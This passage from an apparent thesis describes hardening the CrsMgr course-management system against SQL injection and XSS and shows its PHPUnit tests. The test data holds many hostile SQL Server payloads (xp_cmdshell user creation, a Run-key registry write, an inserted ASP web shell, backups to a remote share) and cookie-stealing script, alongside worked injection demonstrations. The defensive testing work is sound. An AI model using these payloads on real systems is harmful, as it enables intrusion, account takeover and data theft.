result is different than original one, then the given input or parameters are considered suspicious. 
For single word input or parameter, if it contains injection related keywords, then the input or 
parameter is considered suspicious. 
For suspicious input, the secure CrsMgr would kill the user’s session and log suspicious input or 
parameter, user name if user has logged in, IP address and function name that detected this 
suspicious input. 
3.4 Implementation for securing CrsMgr 
In this section, we will discuss the implementation detail of the hardening mechanism given above. 
The sequences are following: 
a. The hacking log implementation. 
b. HTML special characters’ substitution implementation. 
c. Keyword filtering implementation  
d. Injection invalidation implementation. 
3.4.1 Hacking logging implementation 
To report suspicious user behavior, it is necessary to detect if the interaction is a possible attack. 
Thus, after replacing HTML special characters and keyword filtering, the CrsMgr will check 
whether either of the following conditions is true: 
The result of replacing HTML special characters contains keyword which are described in 
section 3.2.2. 
If the expected input is a number, then CrsMgr will check if the input is non-numeric. 
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If the expected input is a single word, then CrsMgr will check condition a. I if the expected input 
is a number, CrsMgr will check condition b.   
If either a or b is true, then secure CrsMgr will consider the input as suspicious input. If a 
suspicious input is detected the system would record the inputs, the user’s IP address, and the 
basic user information if the user is logged in. In addition, the log will record the data and time 
and the trail of the validation process. 
For numeric input verification, the procedure logic is following: 
 
Figure 3-11 Execution flow of numeric validation 
1. Receives a parameter or input 
2. Check whether this parameter or input is numeric 
3. If it is, passes the parameter or input to DB injection invalidation procedure. 
4. If it is not, CrsMgr treats the input as suspicious and write the log and disconnects the user. 
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The single word verification, the procedure logic is as follows: 
 
Figure 3-12 Single word handling procedure 
1. Receives a parameter or input 
2. Escapes HTML special character from parameter or input 
3. Check whether the parameter or input contains SQL injection keywords 
4. If it does not contain such SQL injection keywords, CrsMgr pass the parameter or input to 
DB injection invalidation procedure. 
5. Else, CrsMgr treats the input as suspicious and write the log and disconnects the user. 
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3.4.2 Keyword matching  
Matching keywords is implemented in SecurityFilter class, filter function. The source code logic 
is as follows:  
a. Receives a parameter or input 
b. Check whether given input contains keyword like: 
c. If given keyword was found in parameter or input, return true, which means that the parameter 
or input is clean. 
d. Else false, which means that parameter or input is suspicious. CrsMgr treats the input as 
suspicious and write the log and disconnects the user. 
 
3.4.3 Injection invalidation 
The Injection invalidation is based on the implementation of PHP standard mysqli library. The 
code below is based on mysqli prepare function and bind_param function, the procedure logic is 
as follows: 
a. Convert SQL query which written in source code into database query template. 
b. Send this database query template to database server. 
c. Database prepare resource for it. 
d. Receive input or parameter from user, which is already handled by is numeric check or 
keyword filtration or escape HTML special character. 
e. Send parameter to database server. 
f. Bind this parameter to database query template which is sent to database server before. 
g. Execute query in prepared resource. 
h. Get the query result. 
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As the logic described  above, the query which is written in source code is converted into 
database query template first. And then PHP send this database query template to database 
server. After this step, the parameters are bound to the template. As a query template is already 
parsed and the CrsMgr parsing procedure for this query will never happen again, SQL injection, 
which may exist in parameters will be treated as normal data instead of query. Thus, SQL 
injection in parameter is invalidated. 
3.4.4 Parameters encryption 
To protect parameters’ integrity and increasing the difficulty of hacking CrsMgr, parameter 
encryption is introduced in CrsMgr. The encryption algorithm used here is AES 256 where the 
length of key used for encryption is of length 256 . This algorithm generates 2256 key possibilities, 
which makes decryption almost impossible. [25]   However,  we only encrypt critical parameter 
as encrypting/decrypting everything would be a performance bottleneck with a possibility of  time 
out if  exhaustive encrypting/decrypting  is used. 
 
3.4.4.1 Key Generation 
For the sake of giving a unique key to every user’s session, the key generation function includes 
user’s identity and session id. The user identity chosen is the username, a unique string generated 
by CrsMgr . The session id is based on PHP session. [26]  The key generation function includes a 
hashing stepusing a  SHA-256 algorithm, the source code logic is descripted below: 
a. Concatenate the user name of current user if given with key and current PHP session id as a 
new string. 
b. Hash the new string by using SHA-256 algorithm, a hashed string is generated. 
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c. Use this hashed string as key to encrypted and decrypt parameters for given user at given 
session. 
The implementation uses the username from PHP SESSION array [27] and concatenate it with 
the curre3nt session ID which is hashed. The hash values is the encryption key for the 
parameters. 
 
3.4.4.2 Encryption and Decryption 
The implementation of encryption is given below. 
static public function encode($str){ 
  $iv = 
mcrypt_create_iv(mcrypt_get_iv_size(self::CIPHER,self::MODE),MCRYPT_RAND); 
  return base64_encode(mcrypt_encrypt(self::CIPHER, 
hash("sha256",$_SESSION["sesUserName"].self::KEY.session_id()), $str, self::MODE, $iv)); 
} 
The code above uses following steps to encrypt a parameter: 
a. Create an initialization vector (IV).  a seed for the encryption routine. [28] 
b. Encrypt the data by using the key descripted in section 3.4.4.1. 
c. Encode the data by using base64 encode method. 
The implementation of decryption is like the following: 
static public function decode( $str ){ 
  $iv = 
mcrypt_create_iv(mcrypt_get_iv_size(self::CIPHER,self::MODE),MCRYPT_RAND); 
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The code above uses the following steps to decrypt the encrypted data: 
a. Create an initialization vector (IV).  a seed for the encryption routine. [28] 
b.  Decode data which is encoded, get a new string. 
c. Decrypt the new string by using the key which descripted in section 3.4.4.1. 
 
In the next chapter, we discuss the testing the secure CrsMgr using a number of different typical 
attacks and compare the result with the in-secure CrsMgr. It also gives the regression test on the 
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Chapter 4 Unit Testing and Comparison test between existing system 
and new system 
This chapter presents the tests conducted on both the legacy(unsecure) CrsMgr2007 and the 
hardened(secured) version, CrMgr2016 and the results. For the tests, the legacy version was 
served from https://confsys1.encs.concordia.ca/org-crsmgr and the secure version was served 
from https://confsys1.encs.concordia.ca/fhpsys2  
The tests are grouped in the following three types;  
a. Unit testing which involves the new functions secured in the legacy system for ensuring 
numeric values parameters, key word filtering and escaping html special characters work 
as expected. 
b. Comparison test between CrsMgr2007 and CrsMgr2016, for ensuring CrsMgr2016 has 
the ability to catch SQL injection. 
c. Regression tests which compare the functionalities between CrsMgr2007 and 
CrsMgr2016, to ensures that both versions of CrsMgr maintain the same functionalities. 
 
4.1 Unit testing 
Unit test is a methodology, which uses controlled data, to ensure the functionality of a unit 
or a set of program modules [29]. The framework we used for unit testing is PHPUnit [30], an 
open source testing framework for PHP.  
To perform a unit testing by using PHPUnit, tester need to write a class which extend from a 
class called PHPUnit_Framework_TestCase. The PHPUnit_Framework_TestCase class is a member 
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class from PHPUnit framework. It provides assertion and other tools for testing. Typically, when 
developer requires to verify if a given function works as expected, he writes a testing method 
inside the class (SampleTestClass) which extends the PHPUnit_Framework_TestCase class as 
shown in figure 4.1. 
 
Figure 4-1 PHP unit test sample test without parameter 
If the function to be tested needs some parameters, then we need to specify which function 
would provide these parameters. It can be done by adding an annotation “dataProvider” on the 
top of test function as illustrated in Figure 4.2. 
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4.1.1 Function to be tested 
In this section, we l discuss the two functions to be tested. The first one is filter function, the 
second one is escape_HTML_special_character function. Both of these functions are written in 
SecurityFilter class. 
4.1.1.1 Filter function 
To perform unit testing on CrsMgr2016’s functions, we have written a number of  new testing 
functions and prepared appropriate control data set. We use these control data set to test the 
new functions are added in CrsMg2016r. Figure 4.3 gives the new function named filter to be 
tested inside a class called SecurityFilter.  
 
Figure 4-3 Filter function 
 
The function named filter accepts 2 parameters, the first parameter is the text($text) to be 
filtered; the second parameter is a flag($flag), which accept only “true” or “false” as value. On 
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one hand, if the variable $flag is set as true, the filter function will consider variable $text is 
expected as a numeric variable, thus, $text variable will be validated by is_numeric function; On 
the other hand, while the variable $flag is set as false, the filter function will consider variable 
$text is expected as single word, thus, $text variable will be validated by inject_check function. 
There are two results that can be generated by filter function, true or false. True means that the 
$text is valid; false means that the $text is invalid and suspicious. 
In this unit test, we will test filter function both branch, the first branch we name it as “is 
numeric” branch which $text is expected as numeric variable, the second branch we name it as 
“single word” branch, which $text is expected as single word variable. 
 
4.1.1.2 Escape_HTML_special_character function 
 
Figure 4-4 Escape HTML special character function source code 
This function accepts 1 parameter, the input to be filtered. For the sake of get rid of re-escaping 
problem like valid string &amp; be escaped to &amp;amp; , this function decode the input first, 
so all html entity will be converted to HAS-SPECIAL-CHARACTER version. Then this function 
escape special character. As all special characters which written as HTML entity have been 
converted to are converted to special characters, we will not have re-escaping again. In this unit 
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test, we will validate this function by giving clean data which only has no special character 
string or HTML entity name string( like &amp;) and dirty data which contains special character 
or invalid HTML entity name string( like &amp ). 
 
4.1.2 Control data to be used 
We prepare a set of data which does not contain SQL injection, called “clean data” to perform 
tests to ensure that such valid data can pass the filter function. We prepare another set of data  
which contain SQL injection and name these as “dirty data”. And verify that such data would be 
detected and neutralized by the filter function.  
 
4.1.3 “Is numeric” branch unit testing 
The branch “is numeric”  is used in the secured CrsMgr backend, to verify whether a given 
text is numeric.If the given text is numeric, this function would return a true, else return false 
value.  
To test whether this branch works correctly, here we create two unit testing functions: 
a. testSQL_numeric_with_clean_data. The clean data is pure numeric data expect 
hexadecimal, as PHP and CrsMgr both do not consider hexadecimal data is numeric. 
b. testSQL_numeric_with_dirty_data. The dirty data is pure non-numeric data. 
In the following subsection, we discuss the source code of the test module, samples of 
controlled data and result.   
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4.1.3.1 Source code of “is numeric” unit testing module 
The source code of “is numeric” testing module contains two function, one function is fed 
with clean data and another is fed with dirty data. Clean data for “is numeric” function means 
that the data is truly number:  dirty data for “is numeric” function is not a numeric. Since CrsMgr 
doesn’t  accept hexadecimal values, hexadecimal input is considered as dirty data. 
 
Figure 4-5 Unit testing function, "is_numeric" check with clean data 
The code in figure 4-5 executes in following steps: 
a. Pass clean data “input” to the testSQL_numeric_with_clean_data function. 
b. Pass “input” to SecurityFilter::filter function, also set flag to true, which means that the 
input would be a numeric string.  
c. Receive result from SecurityFilter::filter function. 
d. Assert that the result is true, which means that the “input” is clean. If result is false, the 
message “Innocent data was caught” will be shown in the PHPUnit result page. 
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Figure 4-6 Unit testing function, "is_numeric" check with dirty data 
The code in figure 4-6 executes in following steps: 
a. Pass dirty data “input” to the testSQL_numeric_with_dirty_data function. 
b. Pass “input” to SecurityFilter::filter function, also set flag to true, which means that the 
input should be a numeric string.  
c. Receive result from SecurityFilter::filter function. 
d. Assert that the result is false, which means that the “input” is dirty. If result is true, the 
message “sql injection successfully broke jail” will be shown PHPUnit result page. 
 
4.1.3.2 Some samples of clean data and dirty data for “is_numeric” unit testing 
We have used a large number of controlled data set for testing; only some samples data set will 
be illustrated here.  All the control data for “is_numeric” is available in Appendix 1,1 . 
a. Clean data 
a) 0, obviously clean. 
b) “-0”, value is clean however it is  interpreted as a string. 
c) 4.0, a float number - clean  
d) “-4.02”, values is  clean data however it is interpreted as a string 
b. Dirty data 
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a) “”, an empty string - dirty data. 
b) “Or 1=1”, a dirty data, this is a SQL injection which is commonly used to get 
everything from a table. 
c) “;drop table user;”, a dirty data, this is a SQL injection which is used to destroy a 
database table. 
d) “SELECT”, a dirty data. 
 
 
4.1.3.3 Test result 
A sample testresult is shown in figure 4-6. The complete test results are in Appendix 1,1. 
 
Figure 4-7 Unit testing function "is_numeric" result 
As figure 4-7 shown, 70 testing cases (70 different values are passed) are passed, which means 
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4.1.4 “Single word” branch (filter function with flag “false”) unit testing 
Single word is another type of input that filter function can handle. While filter function receives 
a text to be validated and a flag(false), the filter function validates whether text to be validated 
is a single word and it does not contain any injection special character and injection combination 
inside. This module contains two test functions: 
a. testSQL_single_word_with_clean_data. The clean data here is normal single word which 
does not contain any SQL related special character or SQL injection related keyword. 
b. TestSQL_single_word_with_dirty_data. The dirty data here is data which contains SQL 
related special character or SQL injection related keyword. 
4.1.4.1 Source code of “Single word” unit testing module 
The source code of “single word” testing module contains two function, one function is fed 
with clean data and another is fed with dirty data. Clean data for “single word” function means 
that the data is a string which do not contains SQL special character nor injection query.  Dirty 
data for “single word” function means the input contains SQL special character or injection query.  
 
Figure 4-8 Unit testing function single word with clean data 
The code in figure 4-8 executes in following steps: 
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a. Pass clean data named as “input” to the testSQL_numeric_with_clean_data function. 
b. Pass “input” to SecurityFilter::filter function, also set flag to false, which means that the 
input should be a single word.  
c. Receive result from SecurityFilter::filter function. 
d. Assert that the result is true, which means that the “input” is clean. If result is false, the 
message “Innocent data was caught” will be shown in the PHPUnit result page. 
 
Figure 4-9 Unit testing function single word with dirty data 
The code in figure 4-9 executes in following steps: 
a. Pass dirty data named as “input” to the testSQL_numeric_with_dirty_data function. 
b. Pass “input” to SecurityFilter::filter function, also set flag to false, which means that the 
input should be a single word.  
c. Receive result from SecurityFilter::filter function. 
d. Assert that the result is false, which means that the “input” is dirty. If result is true, the 
message “sql injection successfully broke jail” will be shown PHPUnit result page. 
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4.1.4.2 Some samples of clean data and dirty data for “single word” unit testing 
As the test data is plenty, here we just list some samples. All the control data is available in 
appendix chapter, section uniting test – single word control data 
a. Clean data 
a) “”, obviously is a clean data. 
b) "select", although it contains the keyword, it is a single word and it does not 
harm the CrsMgr, it should be clean data 
c) "ja_zhu", a user name, it should be a clean data. 
d) “2.30”, a number is also a single word, is should be clean data 
b. Dirty data 
a) ";insert into user (username,password) values ('admin','admin');", a definitely 
dirty data. 
b) “Or 1=1”, a dirty data, this is a SQL injection which always use to get everything 
from table. 
c) “;drop table user;”, a dirty data, this is a SQL injection which used to destroy 
database table. 
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4.1.4.3 Testing result 
The brief testing result is shown in figure 4-6. The detail testing result is available in appendix 
chapter, section unit testing “single word” result.  
 
Figure 4-10 Unit testing result for single word function with clean and dirty data 
 
 
The result shown in figure 4-10 means that all tests cases including clean data test and dirty 
data test is passed. 
4.1.5 Escape_HTML_special_character function 
In this section, we will test escape html special character function in two testing functions: 
a. testXSS_html_special_character_with_clean_data. The clean data here is that data do 
not have HTML special character. HTML entity name is allowed. 
b. testXSS_html_special_character_with_dirty_data. The dirty data here is that data has 
HTML special character or invalid HTML entity name. 
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4.1.5.1 Source code for Escape HTML special character testing functions 
The source code of two testing functions is list below: 
 
Figure 4-11 Test escape html special character with clean data 
The code in figure 4-11 executes in following steps: 
a. Receive clean data from data provider function, the data is named as input. 
b. Pass the input to escape html special character function, and receive result. 
c. As the data is clean, we assert that there is no difference between the original input and 
escaped result. 
d. If different is caught. The function will print a message: “encoding error “ and attach 
with the escaped result. 
 
 
Figure 4-12 Test escape html special character with dirty data 
 
The code in figure 4-12 executes in following steps: 
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a. Receive dirty data from data provider function, the data is named as input. 
b. Pass the input to escape html special character function, and receive result. 
c. As the data is dirty, we assert that there is no difference between the escaped input and 
escaped input by PHP official library.  
d. If different is caught. The function will print a message: “encoding error “ and attach 
with the escaped result. 
4.1.5.2 Some samples of clean data and dirty data for “escape html special 
character” unit testing 
As the test data is plenty, here we just list some samples. All the control data is available in 
appendix chapter, section unit testing-escape html special character. 
Clean data: 
a. “12312413”, normal integer, it should be clean. 
b. “&amp;”, valid html entity name, which will be shown on browser like & , is clean. 
c. “1 + 1 &lt; 1”, which contains integer, non-special character and valid html entity name, 
is clean. 
d. “hello”, a simple string which obviously is clean. 
Dirty data: 
a. "1 + 1 > 1", which contains > , is dirty. 
b. “<script type = 'javascript'> document.cookie</script>”, which use to steal cookie, is 
dirty. 
c. <img src = "hacker url">, contains <, >, ”, is dirty. 
d. "&amp", as this html entity name is invalid (missing ; ), is dirty. 
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e.  
4.1.5.3 Testing result 
The result is shown following: 
 
Figure 4-13 Test result for escaping html special character 
As the result shown that “all 15 tests passed, the escape html special character function works 
as expected. 
 
4.2 Comparison test 
This section will do a comparison test on both the legacy(unsecure)l CrsMgr2007 and new 
secure (refactored and secured) CrsMgr2016. In this section, we will do two comparison tests. 
The browser we use here is Firefox. For the purpose of testing injection checking function, we 
temporary remove parameter encryption from the secure version of CrsMgr2016. As with 
parameter encryption, injection test cannot be performed unless hacker can decrypt AES 256, 
which is currently next to impossible. These tests are: 
a. Test inject SQL in GET array 
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b. Test inject SQL in page source code 
4.2.1 Test inject SQL in GET array 
Here we will inject “AND 1<>1” into parameters, this SQL script is usually used by malicious user 




4.2.1.1 Test inject SQL in GET array with original CrsMgr2007 
 
Figure 4-14 User logged in as course student, modify course_id in GET array 
User logged in as course student, and modified course_id in GET array.  
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Figure 4-15 Injection code executed 
As result shown above, the course name, year and section became empty. The reasons are 
listed as following: 
a. In this page, the course name, year and section information are retrieved by SQL query  
SELECT * FROM course WHERE course_id = 95 
b. The course id is injected with SQL script and 1<>1, 
c. The script in this page becomes  
SELECT * FROM course WHERE course_id 95 and 1<>1 
d. In the where clause, the condition will always false, as 1 <> 1( 1 does not equal to 1) is 
always false. 
e. As the condition is false, the result of the script in this page is empty set.  
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Thus, the course name, year and section became empty. For more detail of this hacking, please 
refer to chapter 2, section 2.4.1. 
 
 
4.2.1.2 Testing inject SQL in GET array with new CrsMgr2016 
For new crsmgr, we did the same actions as in section 4.2.1.1. 
 
 
Figure 4-16 Inject "and 1<>1 in GET array 
 
Then refresh the page, the result is shown below 
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Figure 4-17 Injection fail in new CrsMgr2016 
 
As result above, new CrsMgr successfully catches injection and logged user off. 
4.2.2 Test inject SQL in page source code 
Here we inject OR 1=1 in hidden parameter. This injection is used to get all information from a 
given table.  
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4.2.2.1 Test injection SQL in page source code in original CrsMgr2007 
 
Figure 4-18 Check "Back to project list" URL source code 
In the figure above, we use Firefox page inspector to check the source code of “Back to project 
list” URL. In the inspector window, we find that “Back to project list” URL contains a parameter 
department id, with a encoded value “MQ==”. 
Secure CrsMgr: a course manager system 
 65 
 
Figure 4-19 Decode department id value 
Then, we try to decode “MQ==”, see whether we can get a meaningful value. As figure above, a 
meaningful value 1 is given. 
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Figure 4-20 Encode SQL injection 
Then, we encode SQL script and get the value, which will be used to replace the department id 
in the source code. (Figure 4-13) 
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Figure 4-21 Replace encoded department id value with encoded injection 
Replaced the department id with encoded script in page source. And click “Back to project list” 
URL. 
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Figure 4-22 All thesis project is retrieved 
 
As shown in the result in Figure 4.22, we get all project information for an instructor which the 
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4.2.2.2 Test injection SQL in page source code in new CrsMgr2016 
In new CrsMgr, we perform the same actions as in section 4.2.2.1. Here we should replace 
inject source code and result directly. 
 
Figure 4-23 Replace encoded department id with encoded injection 
 
As in  Figure 4-23 above, we replace the encoded department id MQ== (1) to value 
MSBPUiAxPTE= (1 OR 1=1). We save this  edited URL and click “Back to project list” URL. 
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Figure 4-24 CrsMgr kill user session 
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4.3 Regression Test 
4.3.1 The goal of Regression tests 
The goal of this series of tests is to validate whether new CrsMgr2016 maintains the same 
functionalities as original CrsMgr2007. 
4.3.2 The test design  
The testing process include all the functionality of CrsMgr2007 which include the following: 
1. For admin role, requires   verifying the correct functionality of the following operations: 
a. Create a department 
b. Update a department 
c. Assign a department administrator 
d. Delete a department 
e. See all access role list 
f. Create a new user 
g. Update an existing user 
h. Suspend an existing user 
i. Delete an existing user 
j. Update system email 
k. Create new secret question 
l. Update an existing secrete question 
m. Try a demo quiz 
n. Review after tried demo quiz 
o. Modify existing demo quiz 
p. Add new question for demo quiz 
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q. Disable a demo quiz 
r. Change password 
s. Change email 
2. For course coordinator role, tester will perform following operations: 
a. Change email 
b. Change password 
c. Add a new bank question 
d. Update existing bank question 
e. Try a demo quiz 
f. Review after tried demo quiz 
g. Create a course material 
h. Update an existing course material 
i. Add a question topic 
j. Update a question topic 
k. Remove a question topic 
l. Add a student  
m. Remove a student 
3. For department manager role, tester will perform following operations: 
a. Change email 
b. Change password 
c. Add a course 
d. Update an existing course 
e. Add a thesis graduate student 
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f. Update an existing thesis graduate student 
g. Remove an existing thesis graduate student 
4. For course professor role, tester will perform following operations: 
a. See all groups details 
b. Assign a student to a group 
c. Change email 
d. Change password 
e. Add a course group 
f. Update a course group 
g. Remove a course group 
h. Add a new course material 
i. Update an existing course material 
j. Remove an existing course material 
k. And a new question 
l. Update an existing question 
m. See question topic list 
n. Add a student 
o. Update a student  
p. Remove a student 
q. Try demo quiz 
r. Review after tried demo quiz 
5. For course marker role, tester will perform following operations: 
a. Change email 
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b. Change password 
c. View contact information 
d. View course group 
e. View peer review setting 
f. View course material  
g. View tutorial and lab time slot list 
h. View student submission 
i. Assign mark to group 
6. For course tutor role, tester will perform following operations: 
a. View contact information 
b. View course student 
c. View course material 
d. View tutorial and lab time slot 
e. Change password 
f. Change email 
7. For lab instructor role, tester will perform following operations: 
a. View contact information 
b. View course student 
c. View course group 
d. View course material 
e. View tutorial and lab time slot 
f. View meeting time slot 
g. Change password 
Secure CrsMgr: a course manager system 
 75 
h. Change email 
8. For thesis graduate student role, tester will perform following operations: 
a. View supervisor information 
b. View thesis project 
c. Upload thesis project 
d. Change email 
e. Change password 
9. For course student role, tester will perform following operations: 
a. View contact information 
b. View course material 
c. View tutorial and lab time slot 
d. View current course group 
e. Join a course group 
f. Select a group leader 
g. Upload submission 
h. Do an online assessment 
i. View course grade 
j. Change email 
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4.3.3 The result of Regression Testing 




All the unit tests and regression tests were passed by CrsMgr2016. In addition we did a number 
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Chapter 5 Conclusion 
5.1 Contribution of the thesis 
One of the issues of a software system is to keep it updated as new developments tend to create security 
and privacy problems. This is evidenced by the regular updates provided by most software, commercial or 
open source.  
CrsMgr2007  system has worked well for a number of years. However, its defense became vulnerable as 
we discovered. With the increased feature of the browsers and the public knowledge of of the myriads of 
methods  to produce SQL injection and XSS, the defense built into CrsMgr were found to be inadequate as 
demonstrated in Chapter 2.    
This  lead to an  in depth analysis of the vulnerability of  CrsMgr2007 and the result of this  were factored 
and secured the system by adding numeric value checking, keyword filtering, injection invalidation, 
escaping HTML special characters and encrypting any included in the source code of the rendered web 
pages.  
We tested the secure system as outlined in Chapter 4 and all the unit tests were passed by the secured 
version of  CrsMgr2016:   SQL injection and XSS problems which are discussed in chapter 2 are 
addressed.  
Also, we have initiated work to add a tool to provide CrsMgr2016  a 'snap' quiz  feature, we developed 
Flash Browser presented in an appendix of this theses. This is not only an “In-class-quiz”  browser, but also 
a light weight browser which allows users to filter out third party content from a web page being 
downloaded to preserve bandwidth, reduce the cost for data transmission and protect user privacy.  
A system such as CrsMgr2016, in order to be used widely and continuously developed and enhanced, 
requires it to be open source. To this that end, we will publish both CrsMgr2016 and FlashBrowser as open 
source project and allow the open source community to provide it with new features and continuously 
subject the system  to tests for security and usability. We also hope a browser such as FlashBrowser would 
become the norm at some point in the near future for all web browsing and create new micro-payment web 
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model4. Such browsers would block all third party content and thus saving the mobile community a sizable 
amount fees and create a class of paid services with better user privacy and security protection and reduce 
power consumption. 
 
5.2 Future work 
The purpose of developing the FlashBrowser was to promote better class attendance without the use of 
expensive devices such as clicker of one kind or the other. The integration of such a quiz is one of the 
future work for this project. The continuous upgrade of the architecture of the system and finding and 
fixing any other vulnerability is also to be considered in the short term.   
The current practice of using graduate attribute is becoming a norm in most academic setting. This featre 
could be added to the system and selected graduate attributes could be automatically evaluated based on 
the marked entities and peer evaluations in CrsMgr.  











                                                     
4 Envisaged in WWW 1994 in the Navigation panel by Bipin C. Desai 
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 * Created by PhpStorm. 
 * User: jianhuizhu 
 * Date: 2016-05-25 
 * Time: 3:25 PM 
 */ 
require 'SecurityFilter.php'; 
class SecurityFilterTest extends PHPUnit_Framework_TestCase 
{ 
   /** 
     * @dataProvider singleWordDirtyDataTestProvider 
     * @param $input 
     */ 
    public function testSQL_single_word_with_dirty_data($input){ 
        $result = SecurityFilter::filter($input, false); 
        $this->assertEquals(false,$result,"sql injection successfully broke jail : ".$input ); 
    } 
 
    /** 
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     * @dataProvider singleWordCleanDataTestProvider 
     * @param $input 
     */ 
    public function testSQL_single_word_with_clean_data($input){ 
        $result = SecurityFilter::filter($input,false); 
        $this->assertEquals(true,$result,"Innocent data was caught : ".$input ); 
    } 
 
    /** 
     * @dataProvider numericDirtyTestDataProvider 
     * @param $input 
     */ 
    public function testSQL_numeric_with_dirty_data($input){ 
        $result = SecurityFilter::filter($input, true); 
        $this->assertEquals(false,$result,"sql injection successfully broke jail : ".$input ); 
    } 
 
    /** 
     * @param $input 
     * @dataProvider numericCleanTestDataProvider 
     */ 
    public function testSQL_numeric_with_clean_data($input){ 
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        $result = SecurityFilter::filter($input,true); 
        $this->assertEquals(true,$result,"Innocent data was caught : ".$input ); 
    } 
 
 
    /** 
     * @param $input 
     * @dataProvider escapeHTMLSpecialCharacterDirtyDataProvider 
     */ 
    public function testXSS_html_special_character_with_dirty_data($input){ 
        $result = SecurityFilter::escape_html_special_character($input); 
        $this->assertEquals(0,strcmp($result,htmlspecialchars($input)),"encoding error   " . 
$result); 
    } 
 
    /** 
     * @param $input 
     * @dataProvider escapeHTMLSpecialCharacterCleanDataProvider 
     */ 
    public function testXSS_html_special_character_with_clean_data($input){ 
        $result = SecurityFilter::escape_html_special_character($input); 
        $this->assertEquals(0,strcmp($result,$input),"encoding error   " . $result); 
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    } 
 
    public function escapeHTMLSpecialCharacterDirtyDataProvider(){ 
        return array( 
          array("1 + 1 > 1"), 
          array("\"Hamlet  is great\""), 
          array('<script type = "javascript">alert("hello")</script>'), 
          array("<script type = 'javascript'> document.cookie</script>"), 
          array('<img src = "hacker url">'), 
          array('><><'), 
          array('fdfd>fdf'), 
          array("<>script"), 
          array("a&&b"), 
          array("''"), 
            array("&amp"), 




%20S%20'%20)\" alt=\"j a v a s  
c r i p t : a l e r t ( ' X  
S S ' )\" />") 
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        ); 
    } 
 
    public function escapeHTMLSpecialCharacterCleanDataProvider(){ 
        return array( 
            array("12121"), 
            array("&amp;"), 
            array("&gt; &lt; &amp; &quot;") 
        ); 
    } 
 
    public function numericDirtyTestDataProvider(){ 
        return array( 
            array(""), 
            array("Or 1=1"), 
            array("select"), 
            array("and db_name()>0"), 
            array("and user>0"), 
            array(";backup database newcrsmngr to disk='c:\\inetpub\\wwwroot\1.db';"), 
            array("and 1=(select @@VERSION)"), 
            array("and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND 
name ='xp_cmdshell')"), 
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            array(";exec master.dbo.sp_addextendedproc 
'xp_cmdshell','e:\\inetput\\web\\xplog70.dll';"), 
            array(";EXEC master.dbo.xp_regwrite 
'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run','help1','RE
G_SZ','cmd.exe /c net user test ptlove /add'"), 
            array("and 0 <> db_name(1)"), 
            array(" and 1=convert(int,db_name())"), 
            array(";backup database newcrsmngr to disk='c:\\inetpub\\wwwroot\\save.db'"), 
            array(";exec master.dbo.xp_cmdshell \"copy c:\\winnt\\system32\\cmd.exe   
c:\\inetpub\\scrīpts\\cmd.exe\""), 
            array(";insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\\web\\index.asp';"), 
            array(";bulk insert temp(id) from 'c:\\inetpub\\wwwroot\\index.asp'"), 
            array("and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
<>0 "), 
            array("and (select count(*) from TestDB.dbo.user)>0"), 
            array("and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))"), 
            array("'admin'=(SELECT System_user)"), 
            array(";use newcrsmngr2"), 
            array("and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and 
dbid=6)"), 
            array("and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and 
status>0 )>0"), 
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            array("and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 
and name not in('xyz'))>0"), 
            array("and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 
and name not in('xyz',''))>0 "), 
            array("and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 
and name not in('xyz','',''))>0"), 
            array("and (select count(*) from user"), 
            array("and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));"), 
            array("and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));"), 
            array("and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));"), 
            array("and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));"), 
            array("and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));"), 
            array("and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));"), 
            array("and 1=(SELECT IS_MEMBER('db_owner'));"), 
            array(";exec master.dbo.sp_addlogin username;"), 
            array(";exec master.dbo.sp_password null,username,password;"), 
            array(";exec master.dbo.sp_addsrvrolemember sysadmin username;"), 
            array(";exec master.dbo.xp_cmdshell 'net user username password /workstations:* 
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';"), 
            array(";exec master.dbo.xp_cmdshell 'net user username password /add';"), 
            array(";exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';"), 
            array("create table cmd(str image);"), 
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            array("insert into cmd(str) values 
('<%=server.createobject(\"wscrīpt.shell\").exec(\"cmd.exe /c 
\"&request(\"c\")).stdout.readall%>');"), 
            array("backup database model to disk='g:\\wwwtest\\l.asp';"), 
            array("and (select count(id) from user)>0 "), 
            array("and (select top 1 col_name(object_id('user'),1) from sysobjects)>0"), 
            array("and (select top 1 len(username) from user)=2"), 
            array("and (select top 1 ascii(substring(username,m,1)) from admin)=97"), 
            array(";create table Quiz(id int auto increment)"), 
            array(";insert into user (username,password） values ('admin','admin');"), 
            array(";delete from user where id = 1"), 
            array(";drop table user"), 
            array(";create table foo( line varchar(8000))"), 
            array("bulk insert foo from '~\\inetpub\\www\\login.php'"), 
            array("declare @a sysname;set @a=db_name();backup database @a to 
disk='120.23.1.5bak.dat' ,name='test';"), 
            array("; EXEC master..sp_makewebtask \"\\10.10.1.3\\share\\output.html\", \"SELECT * 
FROM INFORMATION_SCHEMA.TABLES\""), 
            array("Exec master..xp_cmdshell 'dir'"), 
            array("Exec master..xp_cmdshell 'net user'"), 
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            array("exec xp_regread 
HKEY_LOCAL_MACHINE,'SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters', 
'nullsessionshares'"), 
            array("exec master..xp_servicecontrol 'start','schedule'") 
        ); 
    } 
    public function numericCleanTestDataProvider(){ 
        return array( 
            array(0), 
            array(-1), 
            array("0"), 
            array(-0), 
            array("-0"), 
            array(123), 
            array(-123), 
            array(4.0), 
            array(-4.03), 
            array("-4.02"), 
            array("4.21") 
        ); 
    } 
    public function singleWordDirtyDataTestProvider(){ 
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        return array( 
            array("and db_name()>0"), 
            array("and user>0"), 
            array(";backup database newcrsmngr to disk='c:\\inetpub\\wwwroot\1.db';"), 
            array("and 1=(select @@VERSION)"), 
